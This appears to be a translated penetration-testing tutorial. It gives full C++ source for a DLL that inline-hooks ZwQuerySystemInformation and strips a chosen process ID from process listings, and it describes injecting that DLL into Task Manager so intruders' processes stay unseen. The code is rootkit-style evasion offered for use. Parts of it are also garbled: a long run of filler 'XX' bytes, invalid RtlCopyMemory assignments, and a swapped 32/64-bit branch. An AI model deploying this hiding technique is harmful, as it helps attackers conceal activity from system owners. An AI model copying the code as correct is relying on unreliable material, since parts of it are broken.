Basic knowledge
Process is a running activity of a computer program on a data set. It is the basic unit for resource allocation and scheduling of the system and the basis of the structure of the operating system. In the early computer structure of process oriented design, process is the basic executive entity of program; In the contemporary computer architecture of thread oriented design, process is the container of thread. Program is the description of instructions, data and their organizational form, and process is the entity of program.
After each program on the computer runs, it can be called a process. The process can be seen in the task manager, as shown below

In the process of penetration, if we run some processes that are not running, we want to achieve the effect that they will not be discovered by the other party. One of the ways is to hide the process so that the other party can not see the process in the task manager. Of course, this is only aimed at not being discovered by Xiaobai, and professional personnel are not within the scope of this discussion.
Then process hiding can be realized through the HOOK api. We know that generally, we use the CreateToolHelp32Snapshot api to obtain process snapshots, and this api will eventually call the zwquerysystemisinformation api in the kernel layer to obtain system process information. Then we can go directly to the hook kernel api, Because the api of the kernel is finally called to realize process hiding
Implementation process
Then, we need some basic knowledge. The implementation of hook api finally comes down to Inline HOOK. By modifying the data of the first few bytes of the api, we write an E9(jump) to our own function for execution
Briefly introduce the Inline hook. API functions are saved in the DLL file provided by the operating system. When an API function is used in the program, after running the program, the program will implicitly load the DLL where the API is located into the process. In this way, the program will call the API like calling its own function.
In the process, when the EXE module calls the CreateFile() function, it will call the CreateFile() function in the kernel32.dll module, because the real CreateFile() function is implemented in the kernel32.dll module.
CreateFile() is an API function. The API function is compiled from the code written by people, and also has its corresponding binary code. Since it is code, it can be modified. Through a "barbaric" method to directly modify the image of API functions in memory, so as to HOOK API functions. The method used is to directly use the jmp instruction of the assembly instruction to change its code execution flow, and then execute our code, which changes the flow of the original function. After executing our process, we can selectively execute the original function or not continue to execute the original function.
Suppose you want to HOOK the CreateFile() function of a process's kernel32.dll, first find the address of the CreateFile() function in the memory of the specified process, and then modify the code of the first address of the CreateFile() function to the jmp MyProc instruction. In this way, when the specified process calls the CreateFile () function, it will first jump to our function to execute the process, so as to complete our HOOK.
Now that we have iatook, why should we use Inlinehook? Isn't it more convenient to use iatook directly? Look how troublesome hard coding is.
Let's think about a problem. If the function is not loaded in the LoadLibrary mode, it will not appear in the import table, and iatook cannot be used. This is the condition for the birth of Inlinehook.
Hard coding
What is hard coding?
Here, I won't explain it by moving conceptual things. Let's talk about my own understanding. Hard coding can be said to be composed of hexadecimal characters. It is a language read to the cpu. We know that there are only 0 and 1 in the computer. If you want him to read those characters in c language, he can't understand them. He can only read 0 and 1. This is hard coding.
The structure of hard coding is as follows. There are fixed length instructions, variable length instructions and a series of instructions, which are also associated with various registers. Indeed, it would be too painful if we read hard coding

There is no more extension here. We only use one hard code in Inline hook, E9, and the corresponding assembly code is jmp
Here, I will directly use the Inline hook to realize process hiding. First, we need to clarify our ideas. First, we need to get the address of the zwquerysysteminsystem information function. First, let's take a look at the structure of this function
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
Let's first get the base address of ntdll.dll. Here you can use GetModuleHandle or LoadLibraryA
HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
Then use GetProcAddress to get the function address of zwquerysysteminsystem information
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
After obtaining the function address, we need to perform a hook operation. Note that the statement to jump in 32 bits should be JMP new_ Zwquerysysteminsystem information, the corresponding hard code is E9 xx xx xx xx XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
In the case of 32 bits, 5 bytes are modified
BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };
Calculate the offset address. The calculation formula is new address - old address - 5
DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
Because we want to overwrite the first five bytes, we first save the first five bytes elsewhere
::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr)); ::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
In the case of 64 bits, the same is true, except that the byte is modified to 12 bytes
BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 }; ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation; ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr)); ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
Then modify the permission to read, write and execute, otherwise an error 0xC0000005 will be reported
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
Modify hard coding and restore properties
::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData)); ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
Here, our hook function is almost finished. Write another unhook function. The idea is roughly the same. The code is as follows
void UnHookAPI() { //obtain ntdll.dll Base address HMODULE hDll = ::GetModuleHandle(L"ntdll.dll"); if (hDll == NULL) { printf("[!] GetModuleHandle false,error is: %d", GetLastError()); return; } else { printf("[*] GetModuleHandle successfully!\n\n"); } // obtain ZwQuerySystemInformation Function address typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); if (NULL == ZwQuerySystemInformation) { printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError()); return; } else { printf("[*] ZwQuerySystemInformation successfully!\n\n"); } // Modify to read / write executable DWORD dwOldProtect = 0; ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect); // 32 Restore 5 bytes under bit,64 Restore 12 bytes under bit #ifdef _WIN64 ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32)); #else ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32)); #endif // Restore permissions ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
After we execute the hook function, we need to jump to our own function. In our own function, we need to judge whether to retrieve the process information of the system. If the process information exists, we need to eliminate the process information
Then we first uninstall the hook to prevent data confusion caused by multiple simultaneous access to the hook function
UnHookAPI();
Then load ntdll.dll
HMODULE hDll = ::LoadLibraryA("ntdll.dll");
Then get the base address of zwquerysysteminsystem information
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
Let's take a look at the function structure of ZwQuerySystemInformation
NTSTATUS WINAPI ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
There are two main parameters to focus on. The first parameter is SystemInformationClass, which is used to represent the type of system information to be retrieved, and then the return value. When the function is executed successfully, NTSTATUS is returned, otherwise an error code is returned. First, we must judge whether the message type is process information
status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength); if (NT_SUCCESS(status) && 5 == SystemInformationClass)
Here we define a pointer to the buffer that returns the result information
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
Judge if we want to hide the PID of the process, delete the process information
if (HideProcessID == (DWORD)pCur->UniqueProcessId)
After the deletion, we will restore the hook
HookAPI();
The function we want to achieve is not only to hide the specified process in our own process space, so we can write the code as a dll file for injection. The complete code is as follows
// dllmain.cpp : definition DLL The entry point for the application. #include "pch.h" #include <iostream> #include <Winternl.h> HMODULE g_hModule; BYTE g_Oldwin32[5] = { 0 }; BYTE g_Oldwin64[12] = { 0 }; #pragma data_seg("mydata") HHOOK g_hHook = NULL; #pragma data_seg() #pragma comment(linker, "/SECTION:mydata,RWS") NTSTATUS New_ZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); void HookAPI(); void UnHookAPI(); void HookAPI() { //obtain ntdll.dll Base address HMODULE hDll = ::GetModuleHandle(L"ntdll.dll"); if (hDll == NULL) { printf("[!] GetModuleHandle false,error is: %d\n\n", GetLastError()); return; } else { printf("[*] GetModuleHandle successfully!\n\n"); } #ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength ); #else typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength ); #endif // obtain ZwQuerySystemInformation Function address typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); if (NULL == ZwQuerySystemInformation) { printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError()); return; } else { printf("[*] ZwQuerySystemInformation successfully!\n\n"); } // 32 Bit modifies the first 5 bytes,64 Bit modifies the first 12 bytes #ifdef _WIN64 // jmp New_ZwQuerySystemInformation // E9 xx xx xx xx BYTE pData[5] = { 0xe9, 0, 0, 0, 0 }; // Calculate offset address , Offset address = new address - Old address - 5 DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5; ::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr)); ::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData)); #else // mov rax, 0x1234567812345678 // jmp rax // 48 b8 7856341278563412 // ff e0 BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 }; ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation; ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr)); ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData)); #endif DWORD dwOldProtect = 0; //Modify to read / write executable ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect); ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData)); //Restore permissions ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect); } void UnHookAPI() { //obtain ntdll.dll Base address HMODULE hDll = ::GetModuleHandle(L"ntdll.dll"); if (hDll == NULL) { printf("[!] GetModuleHandle false,error is: %d", GetLastError()); return; } else { printf("[*] GetModuleHandle successfully!\n\n"); } #ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength ); #else typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength ); #endif // obtain ZwQuerySystemInformation Function address typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); if (NULL == ZwQuerySystemInformation) { printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError()); return; } else { printf("[*] ZwQuerySystemInformation successfully!\n\n"); } // Modify to read / write executable DWORD dwOldProtect = 0; ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect); // 32 Restore 5 bytes under bit,64 Restore 12 bytes under bit #ifdef _WIN64 ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32)); #else ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32)); #endif // Restore permissions ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect); } NTSTATUS New_ZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ) { NTSTATUS status = 0; PSYSTEM_PROCESS_INFORMATION pCur = NULL; PSYSTEM_PROCESS_INFORMATION pPrev = NULL; // Hidden process PID DWORD HideProcessID = 13972; // Unloading hook UnHookAPI(); HMODULE hDll = ::LoadLibraryA("ntdll.dll"); if (hDll == NULL) { printf("[!] LoadLibraryA failed,error is : %d\n\n", GetLastError()); return status; } else { printf("[*] LoadLibraryA successfully!\n\n"); } #ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength ); #else typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength ); #endif // obtain ZwQuerySystemInformation Function address typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); if (NULL == ZwQuerySystemInformation) { printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError()); return status; } else { printf("[*] ZwQuerySystemInformation successfully!\n\n"); } // Call original function ZwQuerySystemInformation status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength); if (NT_SUCCESS(status) && 5 == SystemInformationClass) { pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; while (TRUE) { // If it is a hidden process PID Delete the process information if (HideProcessID == (DWORD)pCur->UniqueProcessId) { if (pCur->NextEntryOffset == 0) { pPrev->NextEntryOffset = 0; } else { pPrev->NextEntryOffset = pCur->NextEntryOffset + pPrev->NextEntryOffset; } } else { pPrev = pCur; } if (pCur->NextEntryOffset == 0) { break; } pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset); } } HookAPI(); return status; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: HookAPI(); g_hModule = hModule; break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: UnHookAPI(); break; } return TRUE; }
Realization effect
You can inject DLLs into other processes through global hook injection or remote thread injection. If you want to see no process in the task manager, you need to inject DLLs into the task manager

What I choose to hide here is QQ music. Run the program here to inject dll

Look at the effect again. You can't see the QQ music process in the task manager. The process is hidden successfully
